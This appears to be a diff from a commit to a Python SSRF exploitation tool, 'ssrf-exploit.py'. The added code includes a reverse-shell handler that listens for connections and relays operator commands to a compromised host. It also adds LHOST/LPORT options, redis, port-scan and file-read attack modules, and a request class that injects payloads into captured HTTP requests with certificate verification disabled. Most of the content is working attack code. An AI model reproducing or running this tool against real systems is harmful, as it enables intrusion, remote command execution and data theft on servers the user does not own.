11from banner .banner import banner
2+ import urllib .parse
3+ import urllib3
24import regex
35import argparse
46import requests
57import time
68import os
79import threading
810import random
11+ import logging
12+ import re
13+ import json
14+ import socket
915
1016execPath = os .getcwd ()
1117currentPath = os .path .dirname (__file__ )
1622LOCK = threading .Lock ()
1723
1824banner ()
19- parser = argparse .ArgumentParser ()
25+
26+ example_text = '''Example:
27+ python3 ssrf-exploit.py -u https://example.com/
28+ python3 ssrf-exploit.py -u https://example.com/ -m redis
29+ python3 ssrf-exploit.py -u https://example.com/ -m portscan
30+ python3 ssrf-exploit.py -u https://example.com/ -m readfiles --rfile
31+ python3 ssrf-exploit.py -u https://example.com/ -m portscan --ssl --uagent "SSRFexploitAgent"
32+ python3 ssrf-exploit.py -u https://example.com/ -m redis --lhost=127.0.0.1 --lport=8080 -l 8080
33+
34+ '''
35+ parser = argparse .ArgumentParser (epilog = example_text , formatter_class = argparse .RawDescriptionHelpFormatter )
2036parser .add_argument ("--file" , "-f" , type = str , required = False , help = 'file of all URLs to be tested against SSRF' )
2137parser .add_argument ("--url" , "-u" , type = str , required = False , help = 'url to be tested against SSRF' )
2238parser .add_argument ("--threads" , "-n" , type = int , required = False , help = 'number of threads for the tool' )
2339parser .add_argument ("--output" , "-o" , type = str , required = False , help = 'output file path' )
40+ parser .add_argument ("--moudle" , "-m" , action = "store" , dest = "moudles" , help = "SSRF Moudles to enable" )
41+ parser .add_argument ("--handler" , "-l" , action = "store" , dest = "handler" , help = "Start an handler for a reverse shell" )
2442parser .add_argument ("--oneshot" , "-t" , action = 'store_true' , help = 'fuzz with only one basic payload - to be activated in case of time constraints' )
25- parser .add_argument ("--verbose" , "-v" , action = 'store_true' , help = 'activate verbose mode' )
43+ parser .add_argument ("--rfiles" , "-r" , action = "store" , dest = "targetfiles" , help = "Files to read with readfiles moudle" )
44+ parser .add_argument ("--verbose" , "-v" , action = 'store_true' , help = 'activate verbose mode' )
45+ parser .add_argument ("--lhost" , action = "store" , dest = "lhost" , help = "LHOST reverse shell" )
46+ parser .add_argument ("--lport" , action = "store" , dest = "lport" , help = "LPORT reverse shell" )
47+ parser .add_argument ("--ssl" , action = 'store' , dest = 'ssl' , help = "Use HTTPS without verification" , )
48+ parser .add_argument ("--proxy" , action = 'store' , dest = 'proxy' , help = "Use HTTP(s) proxy (ex: http://localhost:8080)" )
49+ parser .add_argument ("--level" , action = 'store' , dest = 'level' , help = "Level of test to perform (1-5, default: 1)" , default = 1 , type = int )
50+ parser .add_argument ("--uagent" , action = "store" , dest = "useragent" , help = "useragent to use" )
2651
2752
2853args = parser .parse_args ()
5176
5277extractInteractionServerURL = "(?<=] )([a-z0-9][a-z0-9][a-z0-9].*)"
5378
79+ class Handler (threading .Thread ):
80+
81+ def __init__ (self , port ):
82+ threading .Thread .__init__ (self )
83+ logging .info (f"Handler listening on 0.0.0.0:{ port } " )
84+ self .connected = False
85+ self .port = int (port )
86+
87+ def run (self ):
88+ self .socket = socket .socket (socket .AF_INET , socket .SOCK_STREAM )
89+ self .socket .bind (('' , self .port ))
90+
91+ while True :
92+ self .socket .listen (5 )
93+ self .client , address = self .socket .accept ()
94+ print (f"Handler> New session from { address [0 ]} " )
95+ self .connected = True
96+
97+ response = self .client .recv (255 )
98+ while response != b"" :
99+ print (f"\n { response .decode ('utf_8' , 'ignore' ).strip ()} \n Shell > $ " , end = '' )
100+ response = self .client .recv (255 )
101+
102+ def listen_command (self ):
103+ if self .connected == True :
104+ cmd = input ("Shell> $ " )
105+ if cmd == "exit" :
106+ self .kill ()
107+ print ("BYE !" )
108+ exit ()
109+ self .send_command (cmd + "\n \n " )
110+
111+ def send_command (self , cmd ):
112+ self .client .sendall (cmd .encode ())
113+
114+ def kill (self ):
115+ self .client .close ()
116+ self .socket .close ()
117+
118+
119+ class Requester (object ):
120+ protocol = "http"
121+ host = ""
122+ method = ""
123+ action = ""
124+ headers = {}
125+ data = {}
126+
127+ def __init__ (self , path , uagent , ssl , proxies ):
128+ try :
129+ # Read file request
130+ with open (path , 'r' ) as f :
131+ content = f .read ().strip ()
132+ except IOError as e :
133+ logging .error ("File not found" )
134+ exit ()
135+
136+ try :
137+ content = content .split ('\n ' )
138+ # Parse method and action URI
139+ regex = re .compile ('(.*) (.*) HTTP' )
140+ self .method , self .action = regex .findall (content [0 ])[0 ]
141+
142+ # Parse headers
143+ for header in content [1 :]:
144+ name , _ , value = header .partition (': ' )
145+ if not name or not value :
146+ continue
147+ self .headers [name ] = value
148+ self .host = self .headers ['Host' ]
149+
150+ # Parse user-agent
151+ if uagent != None :
152+ self .headers ['User-Agent' ] = uagent
153+
154+ # Parse data
155+ self .data_to_dict (content [- 1 ])
156+
157+ # Handling HTTPS requests
158+ if ssl == True :
159+ self .protocol = "https"
160+
161+ self .proxies = proxies
162+
163+ except Exception as e :
164+ logging .warning ("Bad Format or Raw data !" )
165+
166+
167+ def data_to_dict (self , data ):
168+ if self .method == "POST" :
169+
170+ # Handle JSON data
171+ if self .headers ['Content-Type' ] and "application/json" in self .headers ['Content-Type' ]:
172+ self .data = json .loads (data )
173+
174+ # Handle XML data
175+ elif self .headers ['Content-Type' ] and "application/xml" in self .headers ['Content-Type' ]:
176+ self .data ['__xml__' ] = data
177+
178+ # Handle FORM data
179+ else :
180+ for arg in data .split ("&" ):
181+ regex = re .compile ('(.*)=(.*)' )
182+ for name ,value in regex .findall (arg ):
183+ name = urllib .parse .unquote (name )
184+ value = urllib .parse .unquote (value )
185+ self .data [name ] = value
186+
187+
188+ def do_request (self , param , value , timeout = 3 , stream = False ):
189+ try :
190+ if self .method == "POST" :
191+ # Copying data to avoid multiple variables edit
192+ data_injected = self .data .copy ()
193+
194+ if param in str (data_injected ): # Fix for issue/10 : str(data_injected)
195+ data_injected [param ] = value
196+
197+ # Handle JSON data
198+ if self .headers ['Content-Type' ] and "application/json" in self .headers ['Content-Type' ]:
199+ r = requests .post (
200+ self .protocol + "://" + self .host + self .action ,
201+ headers = self .headers ,
202+ json = data_injected ,
203+ timeout = timeout ,
204+ stream = stream ,
205+ verify = False ,
206+ proxies = self .proxies
207+ )
208+
209+ # Handle FORM data
210+ else :
211+ if param == '' : data_injected = value
212+ r = requests .post (
213+ self .protocol + "://" + self .host + self .action ,
214+ headers = self .headers ,
215+ data = data_injected ,
216+ timeout = timeout ,
217+ stream = stream ,
218+ verify = False ,
219+ proxies = self .proxies
220+ )
221+ else :
222+ if self .headers ['Content-Type' ] and "application/xml" in self .headers ['Content-Type' ]:
223+ if "*FUZZ*" in data_injected ['__xml__' ]:
224+
225+ # replace the injection point with the payload
226+ data_xml = data_injected ['__xml__' ]
227+ data_xml = data_xml .replace ('*FUZZ*' , value )
228+
229+ r = requests .post (
230+ self .protocol + "://" + self .host + self .action ,
231+ headers = self .headers ,
232+ data = data_xml ,
233+ timeout = timeout ,
234+ stream = stream ,
235+ verify = False ,
236+ proxies = self .proxies
237+ )
238+
239+ else :
240+ logging .error ("No injection point found ! (use -p)" )
241+ exit (1 )
242+ else :
243+ logging .error ("No injection point found ! (use -p)" )
244+ exit (1 )
245+ else :
246+ # String is immutable, we don't have to do a "forced" copy
247+ regex = re .compile (param + "=([^&]+)" )
248+ value = urllib .parse .quote (value , safe = '' )
249+ data_injected = re .sub (regex , param + '=' + value , self .action )
250+ r = requests .get (
251+ self .protocol + "://" + self .host + data_injected ,
252+ headers = self .headers ,
253+ timeout = timeout ,
254+ stream = stream ,
255+ verify = False ,
256+ proxies = self .proxies
257+ )
258+ except Exception as e :
259+ logging .error (e )
260+ return None
261+ return r
262+
263+ def __str__ (self ):
264+ text = self .method + " "
265+ text += self .action + " HTTP/1.1\n "
266+ for header in self .headers :
267+ text += header + ": " + self .headers [header ] + "\n "
268+
269+ text += "\n \n "
270+ for data in self .data :
271+ text += data + "=" + self .data [data ] + "&"
272+ return text [:- 1 ]
273+
54274def getFileSize (fileID ):
55275 interactionLogs = open (f"output/threadsLogs/interaction-logs{ fileID } .txt" , "r" )
56276 return len (interactionLogs .read ())
@@ -237,7 +457,21 @@ def main():
237457 for thread in workingThreads :
238458 thread .join ()
239459 outputFile .close ()
460+
240461
241462
242463if __name__ == '__main__' :
243- main ()
464+ main ()
465+ urllib3 .disable_warnings (urllib3 .exceptions .InsecureRequestWarning )
466+
467+ logging .basicConfig (
468+ level = logging .INFO ,
469+ format = "[%(levelname)s]:%(message)s" ,
470+ handlers = [
471+ logging .FileHandler ("ssrf-exploit.log" , mode = 'w' ),
472+ logging .StreamHandler ()
473+ ]
474+ )
475+
476+ logging .addLevelName ( logging .WARNING , "\033 [1;31m%s\033 [1;0m" % logging .getLevelName (logging .WARNING ))
477+ logging .addLevelName ( logging .ERROR , "\033 [1;41m%s\033 [1;0m" % logging .getLevelName (logging .ERROR ))
0 commit comments